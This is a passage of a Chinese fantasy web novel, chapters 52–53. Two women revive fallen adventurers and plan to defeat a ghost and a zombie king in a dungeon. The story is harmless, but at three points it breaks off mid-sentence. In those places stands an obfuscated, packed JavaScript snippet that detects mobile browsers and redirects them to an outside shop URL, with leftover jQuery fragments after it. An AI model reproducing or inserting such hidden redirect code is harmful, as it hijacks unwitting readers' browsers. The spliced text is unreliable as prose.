“虽然我不知道是什么原因,但是……你还记得我们见到的冒险者吗?不是人类就是有人类血统的半兽人,他们信仰阿凭塔的概率几乎可以说是百分之九十九!”
“为什么你的超度阵法有效果?因为它的力量压根不是来源于阿凭塔的!而复生魔法和净化魔法同属一支,都是作用于灵魂的法术。”
“如果这座地下城真的葬身于那些信徒手中,那它排斥阿凭塔的魔法就说得通了。”
王清虞兴奋地微喘着气,举起手里文字更加怪异的卷轴无比雀跃地说道:“这张卷轴不是用人类语或通用语写的,它来自于精灵,就是那位国王的恋人……”
林千平要比她理智多了,但她不再直接否定喜形于色的好友,只是把抽屉里的卷轴全都搬了出来,让她挨个分辨作用:“那你先看看有没有能用上的,我再找找雕像……不光复生卷轴,有攻击能力的也得留下。”
“我同样有个‘好’消息要告诉你。”她盯着王清虞的眼睛:“要想通关地下城,就必须得打倒boss。”
两人原地解散,林千平灵活地爬上二楼,开始在满墙的书架中四处翻找。
抽屉、暗格、密道、宝箱……什么都行,但什么也没找到。林千平站到栏杆边,向下俯视着这间屋子。既然是恋人的物品,应当要被摆出来才对吧?
王清虞正坐在桌前整理卷轴,乱糟糟的头顶对着她。桌上只有书籍、文件、纸笔,她们进来时就是如此,没有摆件,没有肖像。
难道已经被扔了?但那个男人描述得那么清晰,至少说明在这里成为地下城之前,这间图书室里一定存在过这么一个雕像。
一楼的书架和柜子也被翻得一通乱糟,林千平立在书堆里想了一会儿,从桌边的背包里掏出她的小包袱。解开布结,露出那几样法宝来。
她捡出罗盘,小心地取下指针处塞着的棉花。纤细灵活的小针在那个凹口里轻轻旋转起来,林千平摆弄着这个精致的法器,对着上面的图案和文字犯起了难。
看不懂这些字要怎么办?直接向它许愿有用吗?林千平实在找累了,不抱希望地在心里想了一会儿那个精灵的模样,又准备把罗盘收好。
她拿起棉花正要塞到指针旁,那晃晃悠悠的细针突然停下,直直地指向某个方位。无论林千平是转动盘
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418156|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身,还是拨弄指针,针尖始终不偏不倚地指着那幅色彩斑斓的壁画。
王清虞整理好卷轴,上一秒刚从桌后站起身,下一秒林千平就接着她的屁股坐到了椅子上。
只见她皱着眉头眯着眼睛,一个劲儿地盯着墙上的画看。
在这个碧温斯经常办公的位置上看去,柯尼翁便不再是这幅画的重点。他的头和身子都向着左下倾斜,似是正在听身旁的小孩说话,这使得他偏离了画面的中心。而在他的身后,一张涂着色彩的面庞远远落在人群末尾,却占据了最中央的位置。
林千平搬来梯子坐到顶端,正正对上那张脸。即使此处灯光微弱,这个距离也足以让她发现那油彩覆盖下微微凸出墙面的剔透双眼。
“天啊……”王清虞难以置信地惊呼出声。
那雕像还在这里,就在这幅元素过度复杂而缺少美感的画里,就在碧温斯抬头便能看见的地方,日日夜夜,静静地陪伴着她。
林千平抽出匕首,小心地划开墙皮,从并不紧实的墙壁中掏出了那尊雕像。它的正面覆着墙灰和斑驳的油彩,背面则能明显看出其莹润的玉质。
扶着梯子的王清虞目瞪口呆地看着林千平,她本已经放弃了这个任务,只想着弄些小东西出去变卖,没想到惊喜再一次降临到她们头上,几乎要让人落下泪来。
“居然真有这东西……”王清虞接过雕像,轻轻擦了擦灰尘。这正是那位银发精灵米维的塑像,她神态宁静祥和,双手叠放在腰间,合身的长袍覆盖了双脚,与底部的台座融为一体。
两人走到桌边,林千平收拾起罗盘,她一边整理着背包,一边询问起卷轴的情况:“你都整理好了吗?怎么只有这么几个?那么多……”
“好消息是,这里刚好有三个复生卷轴;坏消息是,其他一个能打的都没有,我估计战斗用的都被国王带出去打仗了吧?”王清虞把那几个珍贵的卷轴拿在手里,这才发现林千平已经有好一会儿没出声了。
她抬头去看,就见好友的大半个胳膊都消失在一个巴掌大的小锦袋里。两人四目相对,都在对方脸上看到了十分滑稽的惊愕表情。
“老天开眼……咱俩今天走的什么狗屎运?”王清虞捏着那个口袋,上上下下地滑动着,把林千平的胳膊装进去、又露出来,又装进去、再露出来。
如此反复玩了几回,她兴冲冲地摘下袋子,自己把手伸了进去。
“哇,好空旷啊……”她顺利地进入到一个十分开阔的空间里,脑中浮出一片空白,就好像打开了一个什么东西也没有的物品栏一样。
“百宝储物袋……这下我终于相信你是个从玄幻世界来的大姥了。”王清虞把袋子还给林千平,由衷地感叹道。
林千平显然还没完全接受这种设定,又拿着一本书反复试验了几次,这才小心地把自己的宝物和那尊雕像都装了进去。锦袋被她牢牢系在裤腰上,袋口大敞着也不用担心东西掉出来,倒还方便伸手进去拿取符箓和宝剑。
两人士气大涨,理好背包便带着卷轴离开了这间图书室。
52.西幻
从密道回到二楼,她们穿过书架后的暗门,带着希冀再次走进议事厅。
壁炉里的火苗烧得正旺,不知是这温度过分灼人,还是紧张的心绪使然,两人的脑门上都冒出一层细密的汗珠,亮晶晶地反着光。
王清虞拿出卷轴,放到狗头人凯瑞恩身上。他们的死亡时间已经超过一天,很难说灵魂是否还存在于身体里。她按照使用说明上写着的咒语,低低念诵起来。心跳声猛烈如雷,几乎要盖过嘴里吐出来的声音。念到最后几个字时语调都变得尖锐,她紧闭双眼,不敢去看结果。
耳边什么动静也没传来,就连林千平都一动不动地僵在原地。王清虞忐忑地睁开眼,卷轴还是那个卷轴,凯瑞恩的毛脑袋仍歪倒在一边,长长的舌头可怜地挂在嘴角。
“对不起……”王清虞伸手摸了摸那对可爱的耳朵,毛发糙糙的,已经没有了光泽。林千平想安慰她,开口却没头没脑地来了一句:“不是你的错……也许是卷轴过期了呢。”
话音刚落,摊开平放在凯瑞恩胸膛上的卷轴就向下滑落到地上,纸页上的字成片浮起,飘散在空中。那条耷拉着的长舌头呲溜一下被收回嘴里,整具身体奇迹般地开始变暖。
“咳咳嗷嗷嗷呜嗷嗷……”凯瑞恩大声喘咳起来,两只漂亮的蓝眼睛挨个睁开,迷茫地四下乱转。
“醒了!醒了!”林千平激动地小声喊着,凑到他眼前指着自己问道:“还记得我吗?认得出我是谁吗?”
王清虞悬着的心在短暂的窒息后终于重重落地,她毫无形象可言地咧开嘴无声哭了出来,一边哭一边还不忘拿出下一个卷轴放在范斯身上。
“汪呜嗷嗷呜。”凯瑞恩被扶着坐了起来。他的语言系统尚未完全恢复,但从神情上看,应当已经认出了眼前的人。
凯瑞恩虚弱地喝着水,嘴里呜哩哇啦地说着方言,一会儿看看躺着的同伴,一会儿又看看旁边的两个人类。林千平给他拿来肉干,又简单解释起发生的一切:“虽然过程有点复杂,但是大家应该都能活过来……你先好好休息,有我们呢。”
范斯很快也有了动静。她的胸膛起伏几下,偏头呛出一大口血。林千平赶忙上前帮忙,扶起人让她靠在自己怀里。三人中伤得最重的就是她,失血过多所导致的虚弱无力即使是复活以后也仍旧折磨着这可怜的女孩。
勒汀的胸骨大约被打断了,他活过来的第一件事就是捂着胸口面色发白地躺在地上大口呼吸。致命伤都能被复生魔法修复,但愈合时的疼痛和其他负面效果就不在这种法术的管辖范围内了。
林千平看着范斯毫无血色的面庞,小小的身体甚至没比复活前暖和多少。她犹豫地摸上腰间的锦袋,不知道该不该拿出那瓶功效未知的丹药。
名字是叫盈血丹没错,但如果那是为了让敌人血气翻涌而死的毒药呢?修仙大能随身携带杀人法宝也很正常吧?
她还没想完其中利害,怀中人的呼吸已经开始逐渐微弱,眼看着就要出气多进气少了。林千平咬牙摸出瓷瓶,倒出一颗塞进范斯嘴里。药丸接触到湿润的口腔,顿时化成了一汪暗红色的水液,范斯本能地吞咽几口,脸上逐渐浮出了些红晕。
这东西怎么都没个说明书呢?看看人家精灵的卷轴还知道写个使用说明,手把手教你原地复活同伴…药这种东西怎么能不标明用法用量呢?到底是怎么出厂上市的?林千平心下欢喜于丹药的效果,又不禁毫无道理地腹诽起这草率的包装。她看着范斯略带血色的双颊,不确定是不是该给她再喂一颗。
“别给我吃…一股臭味…”林千平捏着药丸的手被范斯挡在嘴边,她的状态好了不少,已经能自己独立坐在地上,正表情愁苦地吧咂着嘴。
不远处的凯瑞恩恢复得最快,他呜呜嗷嗷地乱叫着,跪在勒汀身边不知道该从哪下手才能抱住好友。王清虞看着那个毛乎乎的后脑勺,没忍住使劲撸了一把,随即又板起脸要他小点声说话。勒汀的疼痛感总算不再剧烈,只是他似乎丢失了所有被附身后的记忆,此时正表情茫然地看着一团乱糟的房间,疑惑地问道:“我,我们怎么了?你们又是什么时候来的?”
凯瑞恩说不出人话,只能皱着眉可怜巴巴地看着他。范斯放下水袋,主动提起了那场悲惨的战斗:“你被那只追着我们的怨灵附身,我俩都被你杀了。”
勒汀难以置信地张开嘴巴,下意识看向凯瑞恩,希望能从他的脸上得到否定的答案。凯瑞恩面带哀伤地低下头,毛爪子在他肩上轻轻拍了拍。
“我…对不起,我不是想…我,我记不起来了…”这位善良的冒险者眼眶瞬间红了,他双手抱住脑袋,试图想起自己曾犯下的过错,好像只要回忆起了那些痛苦,就能减轻一些那灼人的负罪感一样。
“不是你的错。”范斯仍坐在原地,再一次拒绝了林千平递来的药丸:“是我低估了那只怨灵的能力,我没想到精灵的驱逐法术在他身上竟然会失效。”
说完,她又转向两个人类女孩,郑重地表示了感谢:“虽然不知道是怎么办到的,但还是谢谢你们救了我们。”
凯瑞恩搀着勒汀站了起来,也深深地朝她们鞠了一躬。
林千平不好意思地摆摆手,和王清虞一起又扶又抱地让三人躺在远离门口的书架旁休息,她看了看通往走廊的那扇门,朝三人组露出个笑容:“天下没有白吃的午餐,也没有白救人的道理。”
不等人回答,又接着说道:“你们想不想报仇?”
厨房很久没有这么热闹了,或者说,很久没有出现过三个以上活着的人类了。
而现在足足有五位活蹦乱跳的客人坐在长桌边!欧文不由得怀念起从前总是吵吵闹闹的厨房,那时候每个人都喜欢在这儿呆上一会儿,尤其是冬天,灶台里的火从不熄灭,守卫们总愿意来这里喝喝热水聊聊闲天……那是多么美好的一段日子啊,她看着那几张年轻的脸庞,似乎又找回了一些从前的感觉。
虽然他们尝不到自己的手艺,但欧文还是很开心,她半个身子嵌在桌子里,情绪高涨地指导凯瑞恩该怎么用蜡烛和水把面包烤得软一点。
林千平坐在桌尾,她身旁紧挨着王清虞,再左边是范斯,凯瑞恩和勒汀则坐在对面。他们的身体恢复得很好,尤其是范斯,她最后还是接受
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17422189|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了那种臭臭的药丸,捏着鼻子又吃了一颗,现在整个人精神焕发,话都跟着多了起来。
“你们是怎么通过怨灵群的?”她问道。
“和你们一样,用了不属于阿凭塔的魔法。”她身旁的王清虞回答道。
芬妮特钻到桌下,只把头露在桌面上,热切地转着圈和每个人说话。
范斯眯起眼有些意外地看着王清虞:“我以为你们这些从学校出来的牧师都只会对女神死心塌地……你们用的是什么法系?精灵?地精?”
“呃……是古老的东方秘术。”王清虞眨眨眼,圆滑地避开这个问题:“而且,会这种魔法的不是我,是千平。”她转头看向好友,林千平恰好站起身来到桌子中间,冲她微微点了点头。
“各位,虽然不知道你们来地下城的目的是什么,但我可以直白地告诉大家,我们俩就是冲着通关地下城来的。”林千平在自己和王清虞之间来回指了指,继续说道:“三楼的情况暂时还不清楚,但我们现在知道了二楼还游荡着两只怪物,如果没有其他情况,只要打败这两层的守护者,也许这个地下城就可以被终结了。”
芬妮特从桌子里站了起来,用一种带着些向往的迷茫眼神注视着林千平。
“我最后确认一次,你们真的要加入我们吗?”
不知道是不是因为林千平身上隐隐流露出来的领导气息过于严肃,又或者是死亡的恐怖回忆仍然十分深刻,三人组一时间垂头不语,长桌上安静得都能听到欧文太太从桌边飘走的声音。
“我不是……我不是什么特别勇敢的人。”勒汀捏着杯子,不自在地开口说出了内心的真实想法:“我来这里只是想给自己随便找个目标,好让我看起来没那么像个游手好闲的蠢蛋。”
他越说越流利,好像终于找到机会能向人剖析自己:“在地下城里你只要向前走就行了,不需要考虑其他任何事,税金、土地、那些乏味的玉米收成……还有…家族责任。”
“我只是嘴上说得厉害,实际从来没想过自己真的能征服地下城。”勒汀把视线从杯子上挪开,直直对上林千平和煦的视线,他像受到鼓舞般终于说出最重要的那一句话:“现在我觉得,我想了。”
范斯清清嗓子,紧接着说道:“你们已经得到我的回答了,我说过要向那些人证明他们才是错的,那我就一定会做到。”
凯瑞恩在范斯说完后又等了好一会儿,似是发现终于轮到自己发言了,便乐呵呵地开始聊起他来地下城的目标:“我要赚钱,我姐姐生了宝宝,我得养他们。有一个女孩和我一样,都是黑白色的,眼睛是……”
气氛一下从紧张的战前动员会滑向了温暖的闲话家常,勒汀大笑着拍拍凯瑞恩的后背,表示自己很乐意去他家拜访他的家人,见见那位“小凯瑞恩”。范斯则勉为其难地决定自己可以成为那些孩子们的“仙女教母”,芬妮特听到这个熟悉的称号,兴奋地讲起最喜欢的那几个童话故事。
王清虞拍拍身旁的空位,邀请好友回来坐下。
今夜虽然没有歌舞与美食,但面包味道不差,欧文太太的歌喉也还尚可。
53.西幻
“好了吗?”林千平把手里画着阵法的纸张用铁勺压好,铺在餐厅门口。她转头看向范斯,对方回以肯定的眼神,另一个由树枝和石头组成的净化魔法也已搭建完成。
两人放轻脚步,回撤到走廊里的密道中。行动最灵活的凯瑞恩慢慢摸上餐厅大门的把手,准备在招惹那只怨灵后立刻冲回同伴身边。
芬妮特在大厅角落死死盯着老国王的僵尸身体,只要它一有什么动静,留守在楼梯旁的勒汀就会跑上来拖住它的行动。
凯瑞恩心里倒数几个数,一鼓作气推开了那道门。亮蓝色的怨灵正坐在面朝大门的主位上,一看到凯瑞恩出现,立刻就穿过长长的餐桌飘到了走廊中。
铺设在门口的阵法首先起了作用,老国王的灵魂从脚开始逐渐向上被白光包围,凯瑞恩见状停在拐角处,面露期待地伸着头观赏这一奇景。
片刻后,那只怨灵便和阵法一同消失在空气中,但还不等凯瑞恩鼓掌欢呼,熟悉的亮蓝色身影很快又从四处凝结回了原地。
凯瑞恩立马掉头就跑,王清虞正撑着密道的旋转门在等他,恰好能看见第二道法阵的作用——有用,但不多。范斯布下的精灵系净化魔法同样只能短暂消灭它一会儿,很快那双空洞的大凸眼睛就瞄准了还探着脑袋的王清虞。
几人急忙松开门板,全都挤到通道中,林千平手里拿着另一张阵法图,紧张地把其他人都挡在身后。不出她所料,那只怨灵果然穿过了密道入口,缓缓现身在他们面前。
“快下楼!下楼!这里还是二楼!”林千平用宝剑刺破图纸,同时向前穿入了怨灵的身体,趁着它重新复活的空档,一闪身就钻进了向下的楼梯间里。
他们一路跑到底层,身后空空如也,印证了林千平的推测:不光是那具丑陋的躯体,肯恩的灵魂同样无法离开二楼。
已经和这两头怪物试探周旋了一天,虽然打怪进度仍然为零,但至少摸清了它们的特性。
肯恩的灵魂可以被净化或超度,但很快就会再度现身,它的耳朵不怎么好使,眼睛倒是很锐利。会穿墙、附身,攻击方式主要是利用宿主的躯体发动进攻。
他的身体同样会复活,砍断四肢仍能活动,雷电、火焰等物理攻击都对其有效,但要瞄准头颅才能一击毙命。它的速度很快,尖牙和爪子异常锋利,力气大耳朵灵,但是眼神不好,判断猎物方位主要依靠听力。
勒汀被芬妮特从楼梯间叫了下来,他拎着长剑,一进门就紧张地问道:“怎么样?有用吗?”
凯瑞恩瞅他一眼,耳朵沮丧地耷拉着:“有用了一会儿,又没用了。”勒汀听了个半懂,但厨房里的严肃氛围足以回答他的问题。
芬妮特心疼地飘在凯瑞恩身边为他加油打气:“没事没事,幽灵也没那么厉害,很容易就能对付的!我和他看起来也差不多,我就很好对付……”
她见自己的安慰似乎起了效果,接着又突噜噜说了一串不着边际的闲话:“还是那只棺材里爬出来的更可怕一点,牙齿那么利、爪子那么长……”她打起寒颤,身体像波浪一样扭曲着。
“怨灵可怕,僵尸不可怕。”凯瑞恩来了精神,他挥挥自己露出指甲的爪子说道:“我跑得不比他慢,我也有爪子,我打得过它。”
性情单纯的一人一鬼不知怎么的突然在这个问题上斗起嘴来,就连坐在角落研究魔法阵的三位“大人”都被惊动了。
勒汀茫然地伸着双手想隔开两位幼稚人和幼稚鬼,最终也只能把手都按在凯瑞恩身上不停给他顺着毛:“你们别吵了,说到底那不就是一个人吗?有什么可争的?”
“啊!”王清虞一拍大腿,转头和好友面面相觑:“对呀,他是一个人啊!”
“范斯,你有没有听说过什么…让□□和灵魂合在一起的魔法?”林千平抓住灵光一现的模糊念头,磕磕巴巴地表达了自己的意思。
“有。”
另两个人立时双眼放光地看着她:“是什么?”
范斯面无表情地继续说道:“复生魔法。”
那四只眼里的光顿时又消失了:“啊…”
“复生魔法没法在怨灵身上起作用,就算真有谁神通广大让它们俩合在一块儿了,鉴于那两只怪物现在的模样,也很难说变出来的究竟会是个什么东西。”范斯吃着干果,好整以暇地看着左右两人迅速变换的表情。
“……其实我觉得这个方向还是有东西聊的。”王清虞拿出开小组会议的发言态度认真地和林千平腿碰腿说起话。
“你在想的是我在想的那个吗?”林千平严肃回应她。
“应该是你想的那个,但是我想的可能比你想的要更细节一点……”
范斯听不下去了,挤开身前面对面贴着的两个膝盖准备去找勒汀聊聊。虽然他也够怪的,范斯心想,这都是一群什么人呀?
无论如何,他们总不能整天都坐在厨房里揪着头发瞎想。隔天一早,战斗小队又兵分两路,试图再次进行“非常精密”的实验:凯瑞恩将会把怨灵引到大厅前的走廊上,林千平和勒汀负责站在楼梯口制造巨大响动,假如时机把握得足够精准,两只怪物就会按照他们设想中的那样狠狠撞在一起。
“说不定就能融合了呢?我们不是从没看见过它们在同一个场景里出现吗?”项目总负责人王清虞表示道。
餐厅的门仍然大开着,凯瑞恩在门前晃了两下脑袋,确认自己被看见后便又轻又快地跑到了楼梯边。怨灵转过拐角,在走廊里毫无阻力地直直向前飞去。林千平拎着口铁锅,估摸着时间“铛铛铛”地用铁勺大敲起来,勒汀则在她身旁“呜噜噜”地喊起某种放羊的号子,声音大得几乎要盖过铁锅发出来的响动。
面容丑陋的僵尸果然听到了召唤,从大厅那扇破了一半的门后冲了出来,三人下退到楼梯转角,和两位后备队员挤在一块等待着结果。
芬妮特在走廊尾部露出脑袋,紧张地转播着现场实况:“僵尸出来了!它和肯恩面对面了!”
“它们俩…它穿过去了,它穿过肯恩了!”几人看到那双没穿鞋的脚出现在楼梯前,又簇拥着往下跑了一层。
芬妮特的声音小了些,但还是能听出其中饱含的沮丧:“什么也没发生!它们又回去了。”
林千平手里举着的铁勺咚地一下落到铺着地毯的楼梯上,她是本次实验项目的行动顾问,这次失败看起来对她打击不小。
范斯扬起下巴,双手抱胸,搂着自己的法杖说道:“我说什么来着?现在可以试试我们的办法了?”她看了一眼勒汀,对方立刻也摆出个叉腰挺胸的骄傲姿势。
“当然,当然。”王清虞狗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17425698|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
腿地用袖子为她擦擦法杖上的水晶石,一行人又说着话回到厨房。
范斯的计划相对复杂一些,几人在大厅中捋清顺序后又排演了几遍,这才分头去往自己的位置上。王清虞把林千平和凯瑞恩送到二楼的密道中,又紧张又愧疚地握着好友的手。这两次行动她都帮不上什么忙,林千平这回甚至主动要求去当最危险的诱饵,王清虞不安地在昏暗的灯光下看着两位同伴,取消计划的提议是怎么也说不出口了。
凯瑞恩向右去到议事厅里待命,林千平拿着宝剑和阵法图,站在左边的旋转门旁朝王清虞轻轻说道:“快下去吧,这里头还挺冷的。”
好在这通道里太黑,自己看不清她的脸,王清虞想到,否则她真得要闭上眼睛才能转头离开了。
旋转门转动的声音传来,王清虞快步跑下石梯,飞奔向大厅的楼梯口。
林千平站在走廊里深深吸进几口带些凉意的空气,想让自己尽量放松下来。她悄声走过这条走廊,一幅一幅看过墙上挂着的画。上面的风景大约都来自于这座城市,有花园、建筑、远山、草地…这些画用色谨慎,笔触平实,不算什么特别有灵气的作品,但都签着同一个名字:碧温斯?卢维斯特。
林千平把阵法图穿在宝剑身上,站在拐角最后深呼吸了一次。
她闭上眼,耳边只有自己的呼吸和心跳声。隐隐地,从左手的窗外传来些模糊而热闹的声响,林千平仍旧闭着眼,却不由自主地把脸转向了窗户。她黑暗的眼前闪过绚烂繁杂的庆典装饰,盛开的花朵在山坡上铺成彩色的绒毯,那快活的氛围忽地笼罩了她。可很快,就在一吸一呼之间,那些斑斓的颜色就化作尖啸着的魔法,毫不留情地击穿城墙。
林千平被石墙落地的震动猛地砸开双眼,她花了几秒钟最后看了一眼窗外灯火通明的城池,提着长剑一鼓作气冲到餐厅门口。
肯恩如同被指令唤醒的机器人般忽忽悠悠地飘到门前,林千平转头敲响了对面议事厅的大门,随即跑到转角,警惕地看着那只怨灵。
走廊里只有她一个活人,怨灵理所当然地朝她飞来。勒汀此时忽然从楼梯口跳到走廊上,扯开嗓子呼唤着他的“羔羊”。林千平引着怨灵转过拐角,两人两怪相隔着排成了一条直线。勒汀拿着锅盖抵挡住前方袭来的攻击,随后猛地推开扑向他的僵尸,很快翻身躲到了楼梯上。
范斯念动咒语,法杖嘎吱嘎吱地抖动起来,蓝紫色的雷电从水晶中闪现,狠狠打在僵尸的头上。那干枯的身体向前倒下,露出身后被遮挡住的林千平。她祈祷着复活时间不要那么迅速,尽可能灵活地跨过了那具躯体。怨灵像磁铁般紧紧跟在她后边,却被挥来的长剑劈散在空中。
林千平跑到走廊尽头,右手边就是楼梯口,王清虞正在那里紧张地注视着她。
这段路程并不很长,但极度刺激的过程使得心脏不断加速狂跳,林千平额头上布满冷汗,胸膛因情绪的大幅变动而快速起伏着。
两只怪物很快再度复活,僵尸摇摇晃晃地站起身,怨灵亮蓝色的光斑从虚空中逐渐凝结,这场景看起来就像它们真的合体了一般。
“呜哇嗷——”一声嚎叫从走廊的另一边尽头传来,林千平立刻弓着身子跑下楼梯。
一支挂着图纸的箭矢刺破空气,无比精准地射中了僵尸的头颅。